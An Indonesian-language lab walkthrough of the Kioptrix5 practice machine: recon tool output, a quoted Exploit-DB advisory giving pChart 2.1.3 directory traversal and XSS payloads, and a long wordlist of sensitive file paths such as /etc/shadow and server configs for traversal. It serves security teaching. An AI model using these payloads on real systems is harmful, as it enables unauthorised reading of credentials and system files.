The Kioptrix5: Beware Of Little Information Leakage

Gambar 1. Personal Information Leakage (sumber: China Daily)

Sampailah kita pada serial terakhir, yaitu Kioptrix5. Pada mesin ini sebenarnya tak banyak informasi yang bermanfaat bagi penyerang. Namun kebocoran informasi nampaknya tak terhindarkan. Berawal dari sedikit kebocoran informasi telah membuka jalan untuk mengambil alih server Kioptrix5 secara keseluruhan. Ketika server telah dikuasai secara penuh oleh penyerang, maka musibah Kebocoran Data Pribadi tak terhindarkan. Mari kita lanjutkan cerita serial ini, semoga bermanfaat bagi para Pengelola Sistem Elektronik agar mewaspadai kebocoran informasi sekecil apa pun.

Tahap Pertama – Scanning dan Enumeration

Seperti biasa serangan siber diawali melalui pengumpulan informasi melalui kegiatan tahap pertama, yaitu: Scanning dan Enumeration. Kita akan menggunakan perrangkat yang sama yaitu: netdiscover dan nmap sebagai berikut.

kali@kali:~$ netdiscover -i eth0 -r 192.168.216.0/24 
Currently scanning: Finished!   |   Screen View: Unique Hosts                                                    
                                                                                                                  
 61 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 3660                                                
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.216.1   00:50:56:c0:00:08     52    3120  VMware, Inc.                                                   
 192.168.216.2   00:50:56:f1:8b:17      5     300  VMware, Inc.                                                   
 192.168.216.152 00:0c:29:85:b0:85      2     120  VMware, Inc.                                                   
 192.168.216.254 00:50:56:f4:f3:9c      2     120  VMware, Inc.                                                   

kali@kali:~$ 
kali@kali:~$ nmap -p- -A 192.168.216.152
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-28 23:17 EDT
Nmap scan report for 192.168.216.152 (192.168.216.152)
Host is up (0.00056s latency).
Not shown: 65532 filtered ports
PORT     STATE  SERVICE VERSION
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-server-header: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
|_http-title: 403 Forbidden

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.62 seconds
kali@kali:~$ 

Berdasarkan hasil pengumpulan informasi tersebut, dapat disimpulkan bahwa hanya ada dua port yang terbuka, yaitu: port 80 digunakan oleh layanan HTTP dan port 8080 digunakan oleh Apache Webserver (versi 2.2.21). Server ini menggunakan sistem operasi FreeBSD, namun versi yang digunakan membutuhkan penelusuran lebih lanjut. Webserver ini menggunakan SSL (mod_ssl versi 2.2.21 dan OpenSSL versi 0.9.8q) namun entah kenapa layanan 443 tak digunakan. Port lain yang terdeteksi adalah 22 yang digunakan oleh layanan SSH namun port tersebut tidak aktif. Dengan demikian hanya layanan HTTP dan webserver yang harus ditelusuri lebih lanjut. Berdasarkan informasi dari perangkat nmap, versi yang digunakan antara versi 7 hingga versi 9.

Untuk melakukan pendalaman terhadap port 80 dan port 8080, kita akan menggunakan beberapa perangkat yaitu: dirb, nikto, whatweb dan burpsuite. Berdasarkan informasi yang dihimpun oleh dirb, tampak bahwa file dan folder yang terekspose hanya dua, yaitu index.html dan folder cgi-bin. Jika menggunakan port 80, file index.html bisa diakses sedangkan folder cgi-bin tidak dapat diakses (Forbidden). Untuk port 8080, file index.html dan folder cgi-bin tak dapat diakses (Forbidden). Perhatikan hasil dari perangkat dirb dan nikto beserta gambar-gambar berikut.

kali@kali:~$ dirb http://192.168.216.152

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Apr 28 23:20:55 2020
URL_BASE: http://192.168.216.152/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.216.152/ ----
+ http://192.168.216.152/cgi-bin/ (CODE:403|SIZE:210)                                                             
+ http://192.168.216.152/index.html (CODE:200|SIZE:152)                                                           
                                                                                                                  
-----------------
END_TIME: Tue Apr 28 23:21:21 2020
DOWNLOADED: 4612 - FOUND: 2
kali@kali:~$ 
kali@kali:~$ dirb http://192.168.216.152:8080

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Apr 28 23:23:36 2020
URL_BASE: http://192.168.216.152:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.216.152:8080/ ----
+ http://192.168.216.152:8080/cgi-bin/ (CODE:403|SIZE:210)                                                        
                                                                                                                  
-----------------
END_TIME: Tue Apr 28 23:24:02 2020
DOWNLOADED: 4612 - FOUND: 1
kali@kali:~$ 
kali@kali:~$ nikto -h  http://192.168.216.152:8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.216.152
+ Target Hostname:    192.168.216.152
+ Target Port:        8080
+ Start Time:         2020-04-28 23:24:26 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.3.8 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ OpenSSL/0.9.8q appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 26546 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2020-04-28 23:28:38 (GMT-4) (252 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
kali@kali:~$ 
kali@kali:~$ 
kali@kali:~$ nmap -O --os-scan 192.168.216.152
nmap: unrecognized option '--os-scan'
See the output of nmap -h for a summary of options.
kali@kali:~$ nmap -O --osscan-guess 192.168.216.152
TCP/IP fingerprinting (for OS scan) requires root privileges.
QUITTING!
kali@kali:~$ sudo nmap -O --osscan-guess 192.168.216.152
[sudo] password for kali: 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 05:42 EDT
Nmap scan report for 192.168.216.152 (192.168.216.152)
Host is up (0.00081s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE
22/tcp   closed ssh
80/tcp   open   http
8080/tcp open   http-proxy
MAC Address: 00:0C:29:85:B0:85 (VMware)
Aggressive OS guesses: Apple AirPort Extreme 802.11ac WAP or Time Capsule NAS device or NetBSD 6.1 (94%), FreeBSD 7.0-RELEASE - 9.0-RELEASE (93%), FreeBSD 7.0-RC1 (91%), FreeBSD 7.0-STABLE (91%), FreeBSD 7.1-RELEASE (91%), VMware ESXi 4.0.1 (91%), IBM AIX 5.3 (90%), Juniper M7i router (89%), AirSpan ProST WiMAX access point (89%), NetBSD 6.1.2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.26 seconds
kali@kali:~$ nikto -h  http://192.168.216.152
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.216.152
+ Target Hostname:    192.168.216.152
+ Target Port:        80
+ Start Time:         2020-04-29 05:46:00 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
+ Server may leak inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sat Mar 29 13:22:52 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OpenSSL/0.9.8q appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ PHP/5.3.8 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 8724 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2020-04-29 05:47:36 (GMT-4) (96 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
kali@kali:~$ 

Gambar 2. File index.html dapat diakses pada port 80
Gambar 3. Folder cgi-bin tak dapat akses pada port 80
Gambar 4. Server pada Port 8080 tak dapat diakses
Gambar 5. Folder cgi-bin tak dapat diakses

Selanjutnya kita mencoba menelusuri technology stack yang digunakan pada port 80 dan 8080 dengan menggunakan perangkat whatweb. Hasilnya, kita menemukan bahwa web server menggunakan perangkat lunak thirdparty bernama pChart versi 2.1.3. Perhatikan informasi dari whatweb dan gambar berikut ini.

kali@kali:~/Downloads$ whatweb 192.168.216.152 -v
WhatWeb report for http://192.168.216.152
Status    : 200 OK
Title     : <None>
IP        : 192.168.216.152
Country   : RESERVED, ZZ

Summary   : Meta-Refresh-Redirect[pChart2.1.3/index.php], Apache[2.2.21][mod_ssl/2.2.21], HTTPServer[FreeBSD][Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8], WebDAV[2], PHP[5.3.8], OpenSSL[0.9.8q]

Detected Plugins:
[ Apache ]
        The Apache HTTP Server Project is an effort to develop and 
        maintain an open-source HTTP server for modern operating 
        systems including UNIX and Windows NT. The goal of this 
        project is to provide a secure, efficient and extensible 
        server that provides HTTP services in sync with the current 
        HTTP standards. 

        Version      : 2.2.21 (from HTTP Server Header)
        Module       : mod_ssl/2.2.21
        Google Dorks: (3)
        Website     : http://httpd.apache.org/

[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        OS           : FreeBSD
        String       : Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 (from server string)

[ Meta-Refresh-Redirect ]
        Meta refresh tag is a deprecated URL element that can be 
        used to optionally wait x seconds before reloading the 
        current page or loading a new page. More info: 
        https://secure.wikimedia.org/wikipedia/en/wiki/Meta_refresh 

        String       : pChart2.1.3/index.php

[ OpenSSL ]
        The OpenSSL Project is a collaborative effort to develop a 
        robust, commercial-grade, full-featured, and Open Source 
        toolkit implementing the Secure Sockets Layer (SSL v2/v3) 
        and Transport Layer Security (TLS v1) protocols as well as 
        a full-strength general purpose cryptography library. 

        Version      : 0.9.8q
        Website     : http://www.openssl.org/

[ PHP ]
        PHP is a widely-used general-purpose scripting language 
        that is especially suited for Web development and can be 
        embedded into HTML. This plugin identifies PHP errors, 
        modules and versions and extracts the local file path and 
        username if present. 

        Version      : 5.3.8
        Google Dorks: (2)
        Website     : http://www.php.net/

[ WebDAV ]
        Web-based Distributed Authoring and Versioning (WebDAV) is 
        a set of methods based on the Hypertext Transfer Protocol 
        (HTTP) that facilitates collaboration between users in 
        editing and managing documents and files stored on World 
        Wide Web servers. - More Info: 
        http://en.wikipedia.org/wiki/WebDAV 

        Version      : 2

HTTP Headers:
        HTTP/1.1 200 OK
        Date: Wed, 29 Apr 2020 03:27:54 GMT
        Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
        Last-Modified: Sat, 29 Mar 2014 17:22:52 GMT
        ETag: "105c6-98-4f5c211723300"
        Accept-Ranges: bytes
        Content-Length: 152
        Connection: close
        Content-Type: text/html

WhatWeb report for http://192.168.216.152/pChart2.1.3/index.php
Status    : 302 Found
Title     : <None>
IP        : 192.168.216.152
Country   : RESERVED, ZZ

Summary   : RedirectLocation[examples/index.php], X-Powered-By[PHP/5.3.8], Apache[2.2.21][mod_ssl/2.2.21], HTTPServer[FreeBSD][Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8], WebDAV[2], PHP[5.3.8], OpenSSL[0.9.8q]                                                                                                            

Detected Plugins:
[ Apache ]
        The Apache HTTP Server Project is an effort to develop and 
        maintain an open-source HTTP server for modern operating 
        systems including UNIX and Windows NT. The goal of this 
        project is to provide a secure, efficient and extensible 
        server that provides HTTP services in sync with the current 
        HTTP standards. 

        Version      : 2.2.21 (from HTTP Server Header)
        Module       : mod_ssl/2.2.21
        Google Dorks: (3)
        Website     : http://httpd.apache.org/

[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        OS           : FreeBSD
        String       : Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 (from server string)

[ OpenSSL ]
        The OpenSSL Project is a collaborative effort to develop a 
        robust, commercial-grade, full-featured, and Open Source 
        toolkit implementing the Secure Sockets Layer (SSL v2/v3) 
        and Transport Layer Security (TLS v1) protocols as well as 
        a full-strength general purpose cryptography library. 

        Version      : 0.9.8q
        Website     : http://www.openssl.org/

[ PHP ]
        PHP is a widely-used general-purpose scripting language 
        that is especially suited for Web development and can be 
        embedded into HTML. This plugin identifies PHP errors, 
        modules and versions and extracts the local file path and 
        username if present. 

        Version      : 5.3.8
        Version      : 5.3.8
        Google Dorks: (2)
        Website     : http://www.php.net/

[ RedirectLocation ]
        HTTP Server string location. used with http-status 301 and 
        302 

        String       : examples/index.php (from location)

[ WebDAV ]
        Web-based Distributed Authoring and Versioning (WebDAV) is 
        a set of methods based on the Hypertext Transfer Protocol 
        (HTTP) that facilitates collaboration between users in 
        editing and managing documents and files stored on World 
        Wide Web servers. - More Info: 
        http://en.wikipedia.org/wiki/WebDAV 

        Version      : 2

[ X-Powered-By ]
        X-Powered-By HTTP header 

        String       : PHP/5.3.8 (from x-powered-by string)

HTTP Headers:
        HTTP/1.1 302 Found
        Date: Wed, 29 Apr 2020 03:27:56 GMT
        Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
        X-Powered-By: PHP/5.3.8
        Location: examples/index.php
        Content-Length: 0
        Connection: close
        Content-Type: text/html

WhatWeb report for http://192.168.216.152/pChart2.1.3/examples/index.php
Status    : 200 OK
Title     : pChart 2.x - examples rendering
IP        : 192.168.216.152
Country   : RESERVED, ZZ

Summary   : Script, X-Powered-By[PHP/5.3.8], Apache[2.2.21][mod_ssl/2.2.21], HTTPServer[FreeBSD][Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8], WebDAV[2], PHP[5.3.8], OpenSSL[0.9.8q]                       

Detected Plugins:
[ Apache ]
        The Apache HTTP Server Project is an effort to develop and 
        maintain an open-source HTTP server for modern operating 
        systems including UNIX and Windows NT. The goal of this 
        project is to provide a secure, efficient and extensible 
        server that provides HTTP services in sync with the current 
        HTTP standards. 

        Version      : 2.2.21 (from HTTP Server Header)
        Module       : mod_ssl/2.2.21
        Google Dorks: (3)
        Website     : http://httpd.apache.org/

[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        OS           : FreeBSD
        String       : Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 (from server string)

[ OpenSSL ]
        The OpenSSL Project is a collaborative effort to develop a 
        robust, commercial-grade, full-featured, and Open Source 
        toolkit implementing the Secure Sockets Layer (SSL v2/v3) 
        and Transport Layer Security (TLS v1) protocols as well as 
        a full-strength general purpose cryptography library. 

        Version      : 0.9.8q
        Website     : http://www.openssl.org/

[ PHP ]
        PHP is a widely-used general-purpose scripting language 
        that is especially suited for Web development and can be 
        embedded into HTML. This plugin identifies PHP errors, 
        modules and versions and extracts the local file path and 
        username if present. 

        Version      : 5.3.8
        Version      : 5.3.8
        Google Dorks: (2)
        Website     : http://www.php.net/

[ Script ]
        This plugin detects instances of script HTML elements and 
        returns the script language/type. 


[ WebDAV ]
        Web-based Distributed Authoring and Versioning (WebDAV) is 
        a set of methods based on the Hypertext Transfer Protocol 
        (HTTP) that facilitates collaboration between users in 
        editing and managing documents and files stored on World 
        Wide Web servers. - More Info: 
        http://en.wikipedia.org/wiki/WebDAV 

        Version      : 2

[ X-Powered-By ]
        X-Powered-By HTTP header 

        String       : PHP/5.3.8 (from x-powered-by string)

HTTP Headers:
        HTTP/1.1 200 OK
        Date: Wed, 29 Apr 2020 03:27:56 GMT
        Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
        X-Powered-By: PHP/5.3.8
        Connection: close
        Transfer-Encoding: chunked
        Content-Type: text/html


Gambar 6. Library PHP bernama pChart dengan versi 2.1.3

Berdasarkan informasi yang dikumpulkan pada tahap ini, ada beberapa hal yang penting untuk dilakukan pada tahap berikutnya, yaitu: pencarian versi dari sistem operasi penting untuk ditelusuri lebih lanjut, kemudian aplikasi thirdparty pChart sangat menarik untuk diteliti lebih lanjut.

Tahap Kedua : Mapping Attack Surface

Pada tahap ini, kita mengolah berbagai informasi yang berhasil pada tahap sebelumnya. Ada beberapa peluang serangan yang penting untuk ditindaklanjuti dan diverifikasi. Yang pertama tentunya adalah peluang seranan Remote Code Execution (RCE) pada beberapa perangkat lunak yang telah teridentifikasi versinya. Kemudian peluang lainnya adalah adanya peluang serangan web pada aplikasi pChart.

Gambar 7. Mapping Attack Surface pada server Kioptrix5

Berdasarkan penelusuran lebih lanjut, menurut Exploit DB nomer 31173 (Referensi: pChart 2.1.3 – Multiple Vulnerabilities) ditemukan adanya vulnerability pada php library pChart 2.1.3. Kerentanan ini meliputi Cross Site Scripting dan Directory Traversal pada folder examples dari library tersebut. Berikut ini adalah publikasi kerentanan dari exploitdb:

# Exploit Title: pChart 2.1.3 Directory Traversal and Reflected XSS
# Date: 2014-01-24
# Exploit Author: Balazs Makany
# Vendor Homepage: www.pchart.net
# Software Link: www.pchart.net/download
# Google Dork: intitle:"pChart 2.x - examples" intext:"2.1.3"
# Version: 2.1.3
# Tested on: N/A (Web Application. Tested on FreeBSD and Apache)
# CVE : N/A

[0] Summary:
PHP library pChart 2.1.3 (and possibly previous versions) by default
contains an examples folder, where the application is vulnerable to
Directory Traversal and Cross-Site Scripting (XSS).
It is plausible that custom built production code contains similar
problems if the usage of the library was copied from the examples.
The exploit author engaged the vendor before publicly disclosing the
vulnerability and consequently the vendor released an official fix
before the vulnerability was published.


[1] Directory Traversal:
"hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd"
The traversal is executed with the web server's privilege and leads to
sensitive file disclosure (passwd, siteconf.inc.php or similar),
access to source codes, hardcoded passwords or other high impact
consequences, depending on the web server's configuration.
This problem may exists in the production code if the example code was
copied into the production environment.

Directory Traversal remediation:
1) Update to the latest version of the software.
2) Remove public access to the examples folder where applicable.
3) Use a Web Application Firewall or similar technology to filter
malicious input attempts.


[2] Cross-Site Scripting (XSS):
"hxxp://localhost/examples/sandbox/script/session.php?<script>alert('XSS')</script>
This file uses multiple variables throughout the session, and most of
them are vulnerable to XSS attacks. Certain parameters are persistent
throughout the session and therefore persists until the user session
is active. The parameters are unfiltered.

Cross-Site Scripting remediation:
1) Update to the latest version of the software.
2) Remove public access to the examples folder where applicable.
3) Use a Web Application Firewall or similar technology to filter
malicious input attempts.


[3] Disclosure timeline:
2014 January 16 - Vulnerability confirmed, vendor contacted
2014 January 17 - Vendor replied, responsible disclosure was orchestrated
2014 January 24 - Vendor was inquired about progress, vendor replied
and noted that the official patch is released.
Gambar 8. Kerentanan Reflected XSS pada pChart 2.1.3 terverifikasi
Gambar 9. Kerentanan Directory Traversal pada pChart 2.1.3 terverifikasi

Setelah melakukan verifikasi lebih lanjut terhadap informasi dari exploitdb, nampak bahwa dua kerentanan pada pChart 2.1.3 terverifikasi. Kedua kerentanan tersebut adalah Reflected XSS dan Directory Traversal. Dengan demikian hal ini menjadi masukan bagi arah serangan siber pada tahap berikutnya.

Tahap Ketiga : Exploitation dan Post Exploitation

Pada artikel ini, kita akan fokus membahas kerentanan Directory Traversal. Penyerang akan memanfaatkan kerentanan ini untuk mengumpulkan informasi lebih lanjut terkait dengan berbagai informasi sensitif dari server. Berdasarkan gambar 9, terlihat bahwa kerentanan ini dapat menyebabkan bocornya informasi sensitif dan rahasia pada server.

Directory Traversal adalah kerentanan keamanan web yang memungkinkan penyerang untuk membaca file tanpa otorisasi pada server yang menjalankan aplikasi. Yang dapat diakses termasuk kode aplikasi dan data, kredensial untuk sistem back-end, dan file sistem operasi yang sensitif. Dalam beberapa kasus, penyerang mungkin dapat menulis ke file tanpa otorisasi pada server, memungkinkan mereka untuk memodifikasi data aplikasi atau perilaku, dan pada akhirnya mengambil kendali penuh dari server. Berikut ini adalah ilustrasi visual dari portswigger untuk memahami kerentanan ini. Portswigger adalah perusahaan yang membuat perangkat burpsuite yang legendaris bagi industri keamanan siber global.

Gambar 10. Kerentanan Directory Traversal (Referensi: Directory Traversal)

Tentunya hal ini sangat bermanfaat bagi penyerang untuk mendapatkan akses terbatas (limiited shell) pada server yang selanjutnya dapat ditingkatkan untuk mendapatkan akses tertinggi (privilege escalation), yaitu akses root.

Yang pertama kali kita lakukan adalah menggali lebih lanjut berbagai kemungkinan file yang dapat diakses. Untuk itu kita akan menggunakan default configuration file pada apache yang berjalan pada sistem operasi FreeBSD sebagai acuan. Kita akan menggunakan feature intruder pada aplikasi burpsuite, sedangkan payload untuk menelusuri berbagai file sensitif adalah sebagai berikut:

/home/users/web/b1286/ipg.roksbox/home/index.php
/etc/issue
/etc/motd
/etc/passwd
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
/apache/logs/error.log
/apache/logs/access.log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/var/www/logs/access_log
/var/www/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/error.log
/var/log/apache2/error.log
/var/log/access_log
/var/log/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log
/apache2/logs/error.log
/apache2/logs/access.log
/logs/error.log
/logs/access.log
/logs/error_log
/logs/access_log
/usr/local/apache2/logs/access_log
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/error_log
/usr/local/apache2/logs/error.log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/opt/xampp/logs/access_log
/opt/xampp/logs/error_log
/opt/lampp/logs/access.log
/opt/lampp/logs/error.log
/opt/xampp/logs/access.log
/opt/xampp/logs/error.log
/Program Files\Apache Group\Apache\logs\access.log
/Program Files\Apache Group\Apache\logs\error.log
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/apache/conf/httpd.conf
/usr/local/etc/apache/conf/httpd.conf
/etc/apache2/httpd.conf
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/httpd.conf
/usr/local/apache2/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/etc/apache/conf/httpd.conf
/usr/local/etc/apache2/conf/httpd.conf
/usr/local/etc/httpd/conf/httpd.conf
/usr/apache2/conf/httpd.conf
/usr/apache/conf/httpd.conf
/usr/local/apps/apache2/conf/httpd.conf
/usr/local/apps/apache/conf/httpd.conf
/etc/apache/conf/httpd.conf
/etc/apache2/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/http/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/httpd/httpd.conf
/etc/http/httpd.conf
/etc/httpd.conf
/opt/apache/conf/httpd.conf
/opt/apache2/conf/httpd.conf
/var/www/conf/httpd.conf
/private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default
/Volumes/webBackup/opt/apache2/conf/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf.default
/Program Files\Apache Group\Apache\conf\httpd.conf
/Program Files\Apache Group\Apache2\conf\httpd.conf
/Program Files\xampp\apache\conf\httpd.conf
/usr/local/php/httpd.conf.php
/usr/local/php4/httpd.conf.php
/usr/local/php5/httpd.conf.php
/usr/local/php/httpd.conf
/usr/local/php4/httpd.conf
/usr/local/php5/httpd.conf
/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
/usr/local/etc/apache/vhosts.conf
/etc/php.ini
/bin/php.ini
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/apache/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5\php.ini
/php4\php.ini
/php\php.ini
/PHP\php.ini
/WINDOWS\php.ini
/WINNT\php.ini
/apache\php\php.ini
/xampp\apache\bin\php.ini
/NetServer\bin\stable\apache\php.ini
/home2\bin\stable\apache\php.ini
/home\bin\stable\apache\php.ini
/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/var/cpanel/cpanel.config
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/etc/mysql/my.cnf
/etc/my.cnf
/etc/logrotate.d/proftpd
/www/logs/proftpd.system.log
/var/log/proftpd
/etc/proftp.conf
/etc/protpd/proftpd.conf
/etc/vhcs2/proftpd/proftpd.conf
/etc/proftpd/modules.conf
/var/log/vsftpd.log
/etc/vsftpd.chroot_list
/etc/logrotate.d/vsftpd.log
/etc/vsftpd/vsftpd.conf
/etc/vsftpd.conf
/etc/chrootUsers
/var/log/xferlog
/var/adm/log/xferlog
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/usr/sbin/pure-config.pl
/usr/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.conf
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/pureftpd/etc/pure-ftpd.conf
/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pureftpd.pdb
/etc/pureftpd.passwd
/etc/pure-ftpd/pureftpd.pdb
/usr/ports/ftp/pure-ftpd/
/usr/ports/net/pure-ftpd/
/usr/pkgsrc/net/pureftpd/
/usr/ports/contrib/pure-ftpd/
/var/log/pure-ftpd/pure-ftpd.log
/logs/pure-ftpd.log
/var/log/pureftpd.log
/var/log/ftp-proxy/ftp-proxy.log
/var/log/ftp-proxy
/var/log/ftplog
/etc/logrotate.d/ftp
/etc/ftpchroot
/etc/ftphosts
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/maillog
/var/log/exim_paniclog
/var/log/exim/paniclog
/var/log/exim/rejectlog
/var/log/exim_rejectlog
/home/users/web/b1286/ipg.roksbox/index.php

